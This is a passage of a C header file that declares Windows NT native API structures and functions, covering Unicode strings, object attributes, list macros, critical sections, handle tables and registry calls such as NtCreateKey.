} RTL_UNICODE_STRING_BUFFER, *PRTL_UNICODE_STRING_BUFFER;
typedef STRING ANSI_STRING;
typedef PSTRING PANSI_STRING;
typedef STRING OEM_STRING;
typedef PSTRING POEM_STRING;
typedef CONST STRING* PCOEM_STRING;
typedef const UNICODE_STRING *PCUNICODE_STRING;
#define UNICODE_NULL ((WCHAR)0) // winnt
#ifndef RTL_CONSTANT_STRING // UNICODE_STRING FooStr = RTL_CONSTANT_STRING(L"Foo");
#define RTL_CONSTANT_STRING(str) {(USHORT)(sizeof(str) - sizeof(str[0])), (USHORT)(sizeof(str)), str}
#endif // RTL_CONSTANT_STRING
//
// Definitions for Object Creation
//
#define OBJ_INHERIT 0x00000002L
#define OBJ_PERMANENT 0x00000010L
#define OBJ_EXCLUSIVE 0x00000020L
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define OBJ_OPENIF 0x00000080L
#define OBJ_OPENLINK 0x00000100L
#define OBJ_KERNEL_HANDLE 0x00000200L
#define OBJ_FORCE_ACCESS_CHECK 0x00000400L
#define OBJ_VALID_ATTRIBUTES 0x000007F2L
//
// Object Attributes structure
//
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR
PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
//
// IO_STATUS_BLOCK
//
typedef struct _IO_STATUS_BLOCK
{
union
{
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
//
// ClientId
//
typedef struct _CLIENT_ID
{
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, *PCLIENT_ID;
#endif // _NTDEF_
/*
typedef struct _IMAGE_RELOC
{
WORD offset : 12;
WORD type : 4;
} IMAGE_RELOC, *PIMAGE_RELOC;
*/
//------------------------------------------------------------------------------
// Macros
#ifndef InitializeObjectAttributes
#define InitializeObjectAttributes( innerPath, n, a, r, s ) { \
(innerPath)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(innerPath)->RootDirectory = r; \
(innerPath)->Attributes = a; \
(innerPath)->ObjectName = n; \
(innerPath)->SecurityDescriptor = s; \
(innerPath)->SecurityQualityOfService = NULL; \
}
#endif
//
// Macros for handling LIST_ENTRY-based lists
//
#if !defined(_WDMDDK_) && !defined(_LIST_ENTRY_MACROS_DEFINED_)
#define _LIST_ENTRY_MACROS_DEFINED_
BOOLEAN
FORCEINLINE
IsListEmpty(
IN const LIST_ENTRY * ListHead
)
{
return (BOOLEAN)(ListHead->Flink == ListHead);
}
FORCEINLINE
VOID
InitializeListHead(
IN PLIST_ENTRY ListHead
)
{
ListHead->Flink = ListHead->Blink = ListHead;
}
FORCEINLINE
VOID
InsertHeadList(
IN OUT PLIST_ENTRY ListHead,
IN OUT PLIST_ENTRY Entry
)
{
PLIST_ENTRY Flink;
Flink = ListHead->Flink;
Entry->Flink = Flink;
Entry->Blink = ListHead;
Flink->Blink = Entry;
ListHead->Flink = Entry;
}
FORCEINLINE
VOID
InsertTailList(
IN OUT PLIST_ENTRY ListHead,
IN OUT PLIST_ENTRY Entry
)
{
PLIST_ENTRY Blink;
Blink = ListHead->Blink;
Entry->Flink = ListHead;
Entry->Blink = Blink;
Blink->Flink = Entry;
ListHead->Blink = Entry;
}
FORCEINLINE
BOOLEAN
RemoveEntryList(
IN PLIST_ENTRY Entry
)
{
PLIST_ENTRY Blink;
PLIST_ENTRY Flink;
Flink = Entry->Flink;
Blink = Entry->Blink;
Blink->Flink = Flink;
Flink->Blink = Blink;
return (BOOLEAN)(Flink == Blink);
}
#endif // #if !defined(_WDMDDK_) && !defined(_LIST_ENTRY_MACROS_DEFINED_)
//-----------------------------------------------------------------------------
// Bitmap functions
NTSYSAPI
VOID
NTAPI
RtlSetBit(
PRTL_BITMAP BitMapHeader,
ULONG BitNumber
);
NTSYSAPI
VOID
NTAPI
RtlSetBits(
PRTL_BITMAP BitMapHeader,
ULONG StartingIndex,
ULONG NumberToSet
);
//-----------------------------------------------------------------------------
// Unicode string functions
NTSYSAPI
VOID
NTAPI
RtlInitString(
PSTRING DestinationString,
PCSTR SourceString
);
NTSYSAPI
VOID
NTAPI
RtlInitUnicodeString(
PUNICODE_STRING DestinationString,
PCWSTR SourceString
);
NTSYSAPI
NTSTATUS
NTAPI
RtlInitUnicodeStringEx(
PUNICODE_STRING DestinationString,
PCWSTR SourceString
);
NTSYSAPI
BOOLEAN
NTAPI
RtlCreateUnicodeString(
OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString
);
NTSYSAPI
BOOLEAN
NTAPI
RtlCreateUnicodeStringFromAsciiz(
OUT PUNICODE_STRING Destination,
IN PCSTR Source
);
NTSYSAPI
BOOLEAN
NTAPI
RtlPrefixUnicodeString(
IN PUNICODE_STRING String1,
IN PUNICODE_STRING String2,
IN BOOLEAN CaseInSensitive
);
NTSYSAPI
NTSTATUS
NTAPI
RtlDuplicateUnicodeString(
IN BOOLEAN AllocateNew,
IN PUNICODE_STRING SourceString,
OUT PUNICODE_STRING TargetString
);
NTSYSAPI
NTSTATUS
NTAPI
RtlAppendUnicodeToString(
PUNICODE_STRING Destination,
PCWSTR Source
);
NTSYSAPI
NTSTATUS
NTAPI
RtlAppendUnicodeStringToString(
IN OUT PUNICODE_STRING Destination,
IN PUNICODE_STRING Source
);
NTSYSAPI
NTSTATUS
NTAPI
RtlUnicodeStringToInteger(
IN PUNICODE_STRING String,
IN ULONG Base OPTIONAL,
OUT PULONG Value
);
NTSYSAPI
NTSTATUS
NTAPI
RtlIntegerToUnicodeString(
IN ULONG Value,
IN ULONG Base OPTIONAL,
IN OUT PUNICODE_STRING String
);
NTSYSAPI
NTSTATUS
NTAPI
RtlGUIDFromString(
IN PUNICODE_STRING GuidString,
OUT GUID *Guid
);
NTSYSAPI
LONG
NTAPI
RtlCompareUnicodeString(
IN PUNICODE_STRING String1,
IN PUNICODE_STRING String2,
IN BOOLEAN CaseInSensitive
);
// Windows Vista or newer
NTSYSAPI
LONG
NTAPI
RtlCompareUnicodeStrings(
IN PWCH String1,
IN SIZE_T Length1,
IN PWCH String2,
IN SIZE_T Length2,
IN BOOLEAN CaseInSensitive
);
NTSYSAPI
VOID
NTAPI
RtlCopyUnicodeString(
OUT PUNICODE_STRING DestinationString,
IN PUNICODE_STRING SourceString
);
NTSYSAPI
WCHAR
NTAPI
RtlUpcaseUnicodeChar(
IN WCHAR SourceCharacter
);
NTSYSAPI
NTSTATUS
NTAPI
RtlUpcaseUnicodeString(
OUT PUNICODE_STRING DestinationString,
IN PUNICODE_STRING SourceString,
IN BOOLEAN AllocateDestinationString
);
NTSYSAPI
NTSTATUS
NTAPI
RtlDowncaseUnicodeString(
OUT PUNICODE_STRING DestinationString,
IN PUNICODE_STRING SourceString,
IN BOOLEAN AllocateDestinationString
);
NTSYSAPI
NTSTATUS
NTAPI
RtlUpcaseUnicodeToMultiByteN(
OUT PCH MultiByteString,
IN ULONG MaxBytesInMultiByteString,
OUT PULONG BytesInMultiByteString OPTIONAL,
IN PWCH UnicodeString,
IN ULONG BytesInUnicodeString
);
NTSYSAPI
BOOLEAN
NTAPI
RtlEqualUnicodeString(
IN PUNICODE_STRING String1,
IN PUNICODE_STRING String2,
IN BOOLEAN CaseInSensitive
);
NTSYSAPI
VOID
NTAPI
RtlFreeUnicodeString(
IN PUNICODE_STRING UnicodeString
);
NTSYSAPI
WCHAR
NTAPI
RtlAnsiCharToUnicodeChar(
IN OUT PUCHAR * SourceCharacter
);
NTSYSAPI
NTSTATUS
NTAPI
RtlAnsiStringToUnicodeString(
OUT PUNICODE_STRING DestinationString,
IN PANSI_STRING SourceString,
IN BOOLEAN AllocateDestinationString
);
NTSYSAPI
NTSTATUS
NTAPI
RtlUnicodeStringToAnsiString(
OUT PANSI_STRING DestinationString,
IN PUNICODE_STRING SourceString,
IN BOOLEAN AllocateDestinationString
);
NTSYSAPI
VOID
NTAPI
RtlInitAnsiString(
OUT PANSI_STRING DestinationString,
IN PCHAR SourceString
);
NTSYSAPI
VOID
NTAPI
RtlFreeAnsiString(
IN PANSI_STRING AnsiString
);
NTSYSAPI
NTSTATUS
NTAPI
RtlFormatCurrentUserKeyPath(
OUT PUNICODE_STRING CurrentUserKeyPath
);
NTSYSAPI
VOID
NTAPI
RtlRaiseStatus(
IN NTSTATUS Status
);
NTSYSAPI
VOID
NTAPI
DbgBreakPoint(
VOID
);
NTSYSAPI
ULONG
_cdecl
DbgPrint(
PCH Format,
...
);
// Since Windows XP
NTSYSAPI
ULONG
__cdecl
DbgPrintEx(
IN ULONG ComponentId,
IN ULONG Level,
IN PCSTR Format,
...
);
NTSYSAPI
ULONG
NTAPI
RtlRandom(
IN OUT PULONG Seed
);
//-----------------------------------------------------------------------------
// Critical section functions
NTSYSAPI
NTSTATUS
NTAPI
RtlInitializeCriticalSection(
IN PRTL_CRITICAL_SECTION CriticalSection
);
NTSYSAPI
NTSTATUS
NTAPI
RtlInitializeCriticalSectionAndSpinCount(
IN PRTL_CRITICAL_SECTION CriticalSection,
IN ULONG SpinCount
);
NTSYSAPI
BOOL
NTAPI
RtlTryEnterCriticalSection(
IN PRTL_CRITICAL_SECTION CriticalSection
);
NTSYSAPI
NTSTATUS
NTAPI
RtlEnterCriticalSection(
IN PRTL_CRITICAL_SECTION CriticalSection
);
NTSYSAPI
NTSTATUS
NTAPI
RtlLeaveCriticalSection(
IN PRTL_CRITICAL_SECTION CriticalSection
);
NTSYSAPI
NTSTATUS
NTAPI
RtlDeleteCriticalSection(
IN PRTL_CRITICAL_SECTION CriticalSection
);
//-----------------------------------------------------------------------------
// Compression and decompression
NTSYSAPI
NTSTATUS
NTAPI
RtlCompressBuffer(
IN USHORT CompressionFormatAndEngine,
IN PUCHAR UncompressedBuffer,
IN ULONG UncompressedBufferSize,
OUT PUCHAR CompressedBuffer,
IN ULONG CompressedBufferSize,
IN ULONG UncompressedChunkSize,
OUT PULONG FinalCompressedSize,
IN PVOID WorkSpace
);
NTSYSAPI
NTSTATUS
NTAPI
RtlDecompressBuffer(
IN USHORT CompressionFormat,
OUT PUCHAR UncompressedBuffer,
IN ULONG UncompressedBufferSize,
IN PUCHAR CompressedBuffer,
IN ULONG CompressedBufferSize,
OUT PULONG FinalUncompressedSize
);
//-----------------------------------------------------------------------------
// 8.3 name support
typedef struct _GENERATE_NAME_CONTEXT
{
//
// The structure is divided into two strings. The Name, and extension.
// Each part contains the value that was last inserted in the name.
// The length values are in terms of wchars and not bytes. We also
// store the last index value used in the generation collision algorithm.
//
USHORT Checksum;
BOOLEAN ChecksumInserted;
UCHAR NameLength; // not including extension
WCHAR NameBuffer[8]; // e.g., "ntoskrnl"
ULONG ExtensionLength; // including dot
WCHAR ExtensionBuffer[4]; // e.g., ".exe"
ULONG LastIndexValue;
} GENERATE_NAME_CONTEXT, *PGENERATE_NAME_CONTEXT;
NTSYSAPI
BOOLEAN
NTAPI
RtlIsNameLegalDOS8Dot3(
IN PUNICODE_STRING Name,
IN OUT POEM_STRING OemName OPTIONAL,
OUT PBOOLEAN NameContainsSpaces OPTIONAL
);
NTSYSAPI
NTSTATUS
NTAPI
RtlGenerate8dot3Name (
IN PCUNICODE_STRING Name,
IN BOOLEAN AllowExtendedCharacters,
IN OUT PGENERATE_NAME_CONTEXT Context,
IN OUT PUNICODE_STRING Name8dot3
);
//-----------------------------------------------------------------------------
// Object functions
//
// Object Manager Directory Specific Access Rights.
//
#ifndef DIRECTORY_QUERY
#define DIRECTORY_QUERY 0x0001
#define DIRECTORY_TRAVERSE 0x0002
#define DIRECTORY_CREATE_OBJECT 0x0004
#define DIRECTORY_CREATE_SUBDIRECTORY 0x0008
#define DIRECTORY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0xF)
#endif
typedef enum _POOL_TYPE {
NonPagedPool,
PagedPool,
NonPagedPoolMustSucceed,
DontUseThisType,
NonPagedPoolCacheAligned,
PagedPoolCacheAligned,
NonPagedPoolCacheAlignedMustS,
MaxPoolType,
NonPagedPoolSession = 32,
PagedPoolSession,
NonPagedPoolMustSucceedSession,
DontUseThisTypeSession,
NonPagedPoolCacheAlignedSession,
PagedPoolCacheAlignedSession,
NonPagedPoolCacheAlignedMustSSession
} POOL_TYPE;
//
// For NtQueryObject
//
typedef enum _OBJECT_INFORMATION_CLASS
{
ObjectBasicInformation,
ObjectNameInformation,
ObjectTypeInformation,
ObjectTypesInformation,
ObjectHandleFlagInformation,
ObjectSessionInformation,
MaxObjectInfoClass
} OBJECT_INFORMATION_CLASS;
//
// NtQueryObject uses ObjectBasicInformation
//
typedef struct _OBJECT_BASIC_INFORMATION
{
ULONG Attributes;
ACCESS_MASK GrantedAccess;
ULONG HandleCount;
ULONG PointerCount;
ULONG PagedPoolUsage;
ULONG NonPagedPoolUsage;
ULONG Reserved[3];
ULONG NameInformationLength;
ULONG TypeInformationLength;
ULONG SecurityDescriptorLength;
LARGE_INTEGER CreateTime;
} OBJECT_BASIC_INFORMATION, *POBJECT_BASIC_INFORMATION;
//
// NtQueryObject uses ObjectNameInformation
//
typedef struct _OBJECT_NAME_INFORMATION
{
UNICODE_STRING Name;
} OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION;
//
// NtQueryObject uses ObjectTypeInformation
//
typedef struct _OBJECT_TYPE_INFORMATION
{
UNICODE_STRING TypeName;
ULONG TotalNumberOfObjects;
ULONG TotalNumberOfHandles;
ULONG TotalPagedPoolUsage;
ULONG TotalNonPagedPoolUsage;
ULONG TotalNamePoolUsage;
ULONG TotalHandleTableUsage;
ULONG HighWaterNumberOfObjects;
ULONG HighWaterNumberOfHandles;
ULONG HighWaterPagedPoolUsage;
ULONG HighWaterNonPagedPoolUsage;
ULONG HighWaterNamePoolUsage;
ULONG HighWaterHandleTableUsage;
ULONG InvalidAttributes;
GENERIC_MAPPING GenericMapping;
ULONG ValidAccessMask;
BOOLEAN SecurityRequired;
BOOLEAN MaintainHandleCount;
ULONG PoolType;
ULONG DefaultPagedPoolCharge;
ULONG DefaultNonPagedPoolCharge;
} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION;
typedef struct _OBJECT_TYPES_INFORMATION
{
ULONG NumberOfTypes;
OBJECT_TYPE_INFORMATION TypeInformation[1];
} OBJECT_TYPES_INFORMATION, *POBJECT_TYPES_INFORMATION;
//
// NtQueryObject uses ObjectHandleFlagInformation
// NtSetInformationObject uses ObjectHandleFlagInformation
//
typedef struct _OBJECT_HANDLE_FLAG_INFORMATION
{
BOOLEAN Inherit;
BOOLEAN ProtectFromClose;
} OBJECT_HANDLE_FLAG_INFORMATION, *POBJECT_HANDLE_FLAG_INFORMATION;
//
// NtQueryDirectoryObject uses this type
//
typedef struct _OBJECT_DIRECTORY_INFORMATION
{
UNICODE_STRING Name;
UNICODE_STRING TypeName;
} OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION;
NTSYSAPI
NTSTATUS
NTAPI
NtCreateDirectoryObject(
OUT PHANDLE DirectoryHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);
NTSYSAPI
NTSTATUS
NTAPI
NtOpenDirectoryObject(
OUT PHANDLE DirectoryHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);
NTSYSAPI
NTSTATUS
NTAPI
NtQueryDirectoryObject(
IN HANDLE DirectoryHandle,
OUT PVOID Buffer,
IN ULONG Length,
IN BOOLEAN ReturnSingleEntry,
IN BOOLEAN RestartScan,
IN OUT PULONG Context,
OUT PULONG ReturnLength OPTIONAL
);
NTSYSAPI
NTSTATUS
NTAPI
NtQueryObject (
IN HANDLE ObjectHandle,
IN OBJECT_INFORMATION_CLASS ObjectInformationClass,
OUT PVOID ObjectInformation,
IN ULONG Length,
OUT PULONG ResultLength OPTIONAL
);
NTSYSAPI
NTSTATUS
NTAPI
NtSetInformationObject (
IN HANDLE ObjectHandle,
IN OBJECT_INFORMATION_CLASS ObjectInformationClass,
IN PVOID ObjectInformation,
IN ULONG Length
);
NTSYSAPI
NTSTATUS
NTAPI
NtDuplicateObject (
IN HANDLE SourceProcessHandle,
IN HANDLE SourceHandle,
IN HANDLE TargetProcessHandle OPTIONAL,
OUT PHANDLE TargetHandle OPTIONAL,
IN ACCESS_MASK DesiredAccess,
IN ULONG HandleAttributes,
IN ULONG Options
);
NTSYSAPI
NTSTATUS
NTAPI
NtQuerySecurityObject (
IN HANDLE ObjectHandle,
IN SECURITY_INFORMATION SecurityInformation,
OUT PSECURITY_DESCRIPTOR SecurityDescriptor,
IN ULONG DescriptorLength,
OUT PULONG ReturnLength
);
NTSYSAPI
NTSTATUS
NTAPI
ZwQuerySecurityObject (
IN HANDLE ObjectHandle,
IN SECURITY_INFORMATION SecurityInformation,
OUT PSECURITY_DESCRIPTOR SecurityDescriptor,
IN ULONG DescriptorLength,
OUT PULONG ReturnLength
);
NTSYSAPI
NTSTATUS
NTAPI
NtSetSecurityObject (
IN HANDLE ObjectHandle,
IN SECURITY_INFORMATION SecurityInformation,
IN PSECURITY_DESCRIPTOR SecurityDescriptor
);
NTSYSAPI
NTSTATUS
NTAPI
ZwSetSecurityObject (
IN HANDLE ObjectHandle,
IN SECURITY_INFORMATION SecurityInformation,
IN PSECURITY_DESCRIPTOR SecurityDescriptor
);
NTSYSAPI
NTSTATUS
NTAPI
NtMakeTemporaryObject(
IN HANDLE ObjectHandle
);
NTSYSAPI
NTSTATUS
NTAPI
ZwMakeTemporaryObject(
IN HANDLE ObjectHandle
);
//-----------------------------------------------------------------------------
// Handle table RTL functions
#define LEVEL_HANDLE_ID 0x74000000
#define LEVEL_HANDLE_ID_MASK 0xFF000000
#define LEVEL_HANDLE_INDEX_MASK 0x00FFFFFF
typedef enum _RTL_GENERIC_COMPARE_RESULTS
{
GenericLessThan,
GenericGreaterThan,
GenericEqual
} RTL_GENERIC_COMPARE_RESULTS;
typedef struct _RTL_SPLAY_LINKS
{
struct _RTL_SPLAY_LINKS *Parent;
struct _RTL_SPLAY_LINKS *LeftChild;
struct _RTL_SPLAY_LINKS *RightChild;
} RTL_SPLAY_LINKS, *PRTL_SPLAY_LINKS;
struct _RTL_GENERIC_TABLE;
typedef
RTL_GENERIC_COMPARE_RESULTS
(NTAPI * PRTL_GENERIC_COMPARE_ROUTINE) (
struct _RTL_GENERIC_TABLE *Table,
PVOID FirstStruct,
PVOID SecondStruct
);
typedef
PVOID
(NTAPI *PRTL_GENERIC_ALLOCATE_ROUTINE) (
struct _RTL_GENERIC_TABLE *Table,
ULONG ByteSize
);
typedef
VOID
(NTAPI *PRTL_GENERIC_FREE_ROUTINE) (
struct _RTL_GENERIC_TABLE *Table,
PVOID Buffer
);
typedef struct _RTL_GENERIC_TABLE
{
PRTL_SPLAY_LINKS TableRoot;
LIST_ENTRY InsertOrderList;
PLIST_ENTRY OrderedPointer;
ULONG WhichOrderedElement;
ULONG NumberGenericTableElements;
PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine;
PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine;
PRTL_GENERIC_FREE_ROUTINE FreeRoutine;
PVOID TableContext;
} RTL_GENERIC_TABLE, *PRTL_GENERIC_TABLE;
typedef struct _RTL_HANDLE_TABLE_ENTRY
{
ULONG Flags;
struct _RTL_HANDLE_TABLE_ENTRY *NextFree;
} RTL_HANDLE_TABLE_ENTRY, *PRTL_HANDLE_TABLE_ENTRY;
typedef struct _RTL_HANDLE_TABLE
{
ULONG MaximumNumberOfHandles;
ULONG SizeOfHandleTableEntry;
ULONG Reserved[2];
PRTL_HANDLE_TABLE_ENTRY FreeHandles;
PRTL_HANDLE_TABLE_ENTRY CommittedHandles;
PRTL_HANDLE_TABLE_ENTRY UnCommittedHandles;
PRTL_HANDLE_TABLE_ENTRY MaxReservedHandles;
} RTL_HANDLE_TABLE, *PRTL_HANDLE_TABLE;
NTSYSAPI
VOID
NTAPI
RtlInitializeGenericTable (
IN PRTL_GENERIC_TABLE Table,
IN PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine,
IN PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine,
IN PRTL_GENERIC_FREE_ROUTINE FreeRoutine,
IN PVOID TableContext
);
NTSYSAPI
VOID
NTAPI
RtlInitializeHandleTable(
IN ULONG MaximumNumberOfHandles,
IN ULONG SizeOfHandleTableEntry,
OUT PRTL_HANDLE_TABLE HandleTable
);
NTSYSAPI
PRTL_HANDLE_TABLE_ENTRY
NTAPI
RtlAllocateHandle(
IN PRTL_HANDLE_TABLE HandleTable,
OUT PULONG HandleIndex OPTIONAL
);
NTSYSAPI
BOOLEAN
NTAPI
RtlFreeHandle(
IN PRTL_HANDLE_TABLE HandleTable,
IN PRTL_HANDLE_TABLE_ENTRY Handle
);
NTSYSAPI
BOOLEAN
NTAPI
RtlIsValidIndexHandle(
IN PRTL_HANDLE_TABLE HandleTable,
IN ULONG HandleIndex,
OUT PRTL_HANDLE_TABLE_ENTRY *Handle
);
NTSYSAPI
PVOID
NTAPI
RtlInsertElementGenericTable (
IN PRTL_GENERIC_TABLE Table,
IN PVOID Buffer,
IN LONG BufferSize,
OUT PBOOLEAN NewElement OPTIONAL
);
NTSYSAPI
BOOLEAN
NTAPI
RtlIsGenericTableEmpty (
IN PRTL_GENERIC_TABLE Table
);
NTSYSAPI
BOOLEAN
NTAPI
RtlIsGenericTableEmpty (
IN PRTL_GENERIC_TABLE Table
);
NTSYSAPI
PVOID
NTAPI
RtlLookupElementGenericTable (
IN PRTL_GENERIC_TABLE Table,
IN PVOID Buffer
);
NTSYSAPI
PVOID
NTAPI
RtlEnumerateGenericTableWithoutSplaying(
IN PRTL_GENERIC_TABLE Table,
IN PVOID *RestartKey
);
NTSYSAPI
NTSTATUS
NTAPI
NtClose(
IN HANDLE Handle
);
NTSYSAPI
NTSTATUS
NTAPI
ZwClose(
IN HANDLE Handle
);
//-----------------------------------------------------------------------------
// Environment functions
NTSYSAPI
NTSTATUS
NTAPI
RtlOpenCurrentUser(
IN ULONG DesiredAccess,
OUT PHANDLE CurrentUserKey
);
NTSYSAPI
NTSTATUS
NTAPI
RtlCreateEnvironment(
BOOLEAN CloneCurrentEnvironment,
PVOID *Environment
);
NTSYSAPI
NTSTATUS
NTAPI
RtlExpandEnvironmentStrings_U(
IN PVOID Environment OPTIONAL,
IN PUNICODE_STRING Source,
OUT PUNICODE_STRING Destination,
OUT PULONG ReturnedLength OPTIONAL
);
NTSYSAPI
NTSTATUS
NTAPI
RtlQueryEnvironmentVariable_U(
IN PVOID Environment,
IN PUNICODE_STRING Name,
OUT PUNICODE_STRING Value
);
NTSYSAPI
ULONG
NTAPI
RtlDosSearchPath_U(
IN PCWSTR lpPath,
IN PCWSTR lpFileName,
IN PCWSTR lpExtension OPTIONAL,
IN ULONG nBufferLength,
OUT PWSTR lpBuffer,
OUT PWSTR *lpFilePart
);
NTSYSAPI
NTSTATUS
NTAPI
RtlSetEnvironmentVariable(
PVOID *Environment,
PUNICODE_STRING Name,
PUNICODE_STRING Value
);
NTSYSAPI
NTSTATUS
NTAPI
RtlDestroyEnvironment(
PVOID Environment
);
//-----------------------------------------------------------------------------
// Registry functions
typedef enum _KEY_INFORMATION_CLASS
{
KeyBasicInformation,
KeyNodeInformation,
KeyFullInformation,
KeyNameInformation,
KeyCachedInformation,
KeyFlagsInformation
} KEY_INFORMATION_CLASS;
typedef enum _KEY_VALUE_INFORMATION_CLASS
{
KeyValueBasicInformation = 0,
KeyValueFullInformation,
KeyValuePartialInformation,
KeyValueFullInformationAlign64,
KeyValuePartialInformationAlign64
} KEY_VALUE_INFORMATION_CLASS;
typedef enum _KEY_SET_INFORMATION_CLASS
{
KeyWriteTimeInformation,
KeyUserFlagsInformation,
MaxKeySetInfoClass
} KEY_SET_INFORMATION_CLASS;
typedef struct _KEY_BASIC_INFORMATION
{
LARGE_INTEGER LastWriteTime;
ULONG TitleIndex;
ULONG NameLength;
WCHAR Name[1];
} KEY_BASIC_INFORMATION, *PKEY_BASIC_INFORMATION;
typedef struct _KEY_NODE_INFORMATION
{
LARGE_INTEGER LastWriteTime;
ULONG TitleIndex;
ULONG ClassOffset;
ULONG ClassLength;
ULONG NameLength;
WCHAR Name[1];
} KEY_NODE_INFORMATION, *PKEY_NODE_INFORMATION;
typedef struct _KEY_FULL_INFORMATION
{
LARGE_INTEGER LastWriteTime;
ULONG TitleIndex;
ULONG ClassOffset;
ULONG ClassLength;
ULONG SubKeys;
ULONG MaxNameLen;
ULONG MaxClassLen;
ULONG Values;
ULONG MaxValueNameLen;
ULONG MaxValueDataLen;
WCHAR Class[1];
} KEY_FULL_INFORMATION, *PKEY_FULL_INFORMATION;
typedef struct _KEY_NAME_INFORMATION
{
WCHAR Name[1];
} KEY_NAME_INFORMATION, *PKEY_NAME_INFORMATION;
typedef struct _KEY_CACHED_INFORMATION
{
LARGE_INTEGER LastWriteTime;
ULONG TitleIndex;
ULONG SubKeys;
ULONG MaxNameLen;
ULONG Values;
ULONG MaxValueNameLen;
ULONG MaxValueDataLen;
ULONG NameLength;
WCHAR Name[1]; // Variable length string
} KEY_CACHED_INFORMATION, *PKEY_CACHED_INFORMATION;
typedef struct _KEY_FLAGS_INFORMATION
{
ULONG UserFlags;
} KEY_FLAGS_INFORMATION, *PKEY_FLAGS_INFORMATION;
typedef struct _KEY_VALUE_BASIC_INFORMATION
{
ULONG TitleIndex;
ULONG Type;
ULONG NameLength;
WCHAR Name[1];
} KEY_VALUE_BASIC_INFORMATION, *PKEY_VALUE_BASIC_INFORMATION;
typedef struct _KEY_VALUE_FULL_INFORMATION
{
ULONG TitleIndex;
ULONG Type;
ULONG DataOffset;
ULONG DataLength;
ULONG NameLength;
WCHAR Name[1];
} KEY_VALUE_FULL_INFORMATION, *PKEY_VALUE_FULL_INFORMATION;
typedef struct _KEY_VALUE_PARTIAL_INFORMATION
{
ULONG TitleIndex;
ULONG Type;
ULONG DataLength;
UCHAR Data[1];
} KEY_VALUE_PARTIAL_INFORMATION, *PKEY_VALUE_PARTIAL_INFORMATION;
NTSYSAPI
NTSTATUS
NTAPI
NtLoadKey(
IN POBJECT_ATTRIBUTES TargetKey,
IN POBJECT_ATTRIBUTES SourceFile
);
NTSYSAPI
NTSTATUS
NTAPI
NtLoadKey2(
IN POBJECT_ATTRIBUTES TargetKey,
IN POBJECT_ATTRIBUTES SourceFile,
IN ULONG Flags
);
// NtLoadKeyEx for Windows 2003 server
typedef NTSTATUS (NTAPI * NTLOADKEYEX_3790)(
IN POBJECT_ATTRIBUTES TargetKey,
IN POBJECT_ATTRIBUTES SourceFile,
IN ULONG Flags,
IN HANDLE TrustClassKey OPTIONAL
);
// NtLoadKeyEx for Windows Vista to Windows 8.1
typedef NTSTATUS (NTAPI * NTLOADKEYEX)(
IN POBJECT_ATTRIBUTES TargetKey,
IN POBJECT_ATTRIBUTES SourceFile,
IN ULONG Flags,
IN HANDLE TrustClassKey OPTIONAL,
IN PVOID Param5,
IN PVOID Param6,
IN PVOID Param7,
IN PVOID Param8
);
NTSYSAPI
NTSTATUS
NTAPI
NtUnloadKey(
IN POBJECT_ATTRIBUTES TargetKey
);
NTSYSAPI
NTSTATUS
NTAPI
NtCreateKey(
OUT PHANDLE KeyHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN ULONG TitleIndex,
IN PUNICODE_STRING Class OPTIONAL,
IN ULONG CreateOptions,
OUT PULONG Disposition OPTIONAL
);
NTSYSAPI
NTSTATUS
NTAPI
NtOpenKey(
OUT PHANDLE KeyHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);
NTSYSAPI
NTSTATUS
NTAPI
NtEnumerateKey(
IN HANDLE KeyHandle,
IN ULONG Index,
IN KEY_INFORMATION_CLASS KeyInformationClass,
IN PVOID KeyInformation,
IN ULONG Length,
IN PULONG ResultLength
);
NTSYSAPI
NTSTATUS
NTAPI
ZwEnumerateKey(
IN HANDLE KeyHandle,
IN ULONG Index,
IN KEY_INFORMATION_CLASS KeyInformationClass,
IN PVOID KeyInformation,
IN ULONG Length,
IN PULONG ResultLength
);
NTSYSAPI
NTSTATUS
NTAPI
NtEnumerateValueKey(
IN HANDLE KeyHandle,
IN ULONG Index,
IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
OUT PVOID KeyValueInformation,
IN ULONG Length,
OUT PULONG ResultLength
);
NTSYSAPI
NTSTATUS
NTAPI
ZwEnumerateValueKey(
IN HANDLE KeyHandle,
IN ULONG Index,
IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
OUT PVOID KeyValueInformation,
IN ULONG Length,
OUT PULONG ResultLength
);
NTSYSAPI
NTSTATUS
NTAPI
NtDeleteKey(
IN HANDLE KeyHandle
);
NTSYSAPI
NTSTATUS
NTAPI
NtQueryKey(
IN HANDLE KeyHandle,
IN KEY_INFORMATION_CLASS KeyInformationClass,
OUT PVOID KeyInformation OPTIONAL,
IN ULONG Length,
OUT PULONG ResultLength
);
NTSYSAPI
NTSTATUS
NTAPI
NtQueryValueKey(
IN HANDLE KeyHandle,
IN PUNICODE_STRING ValueName,
IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
OUT PVOID KeyValueInformation,
IN ULONG Length,
OUT PULONG ResultLength
);
NTSYSAPI
NTSTATUS
NTAPI
NtSetValueKey(
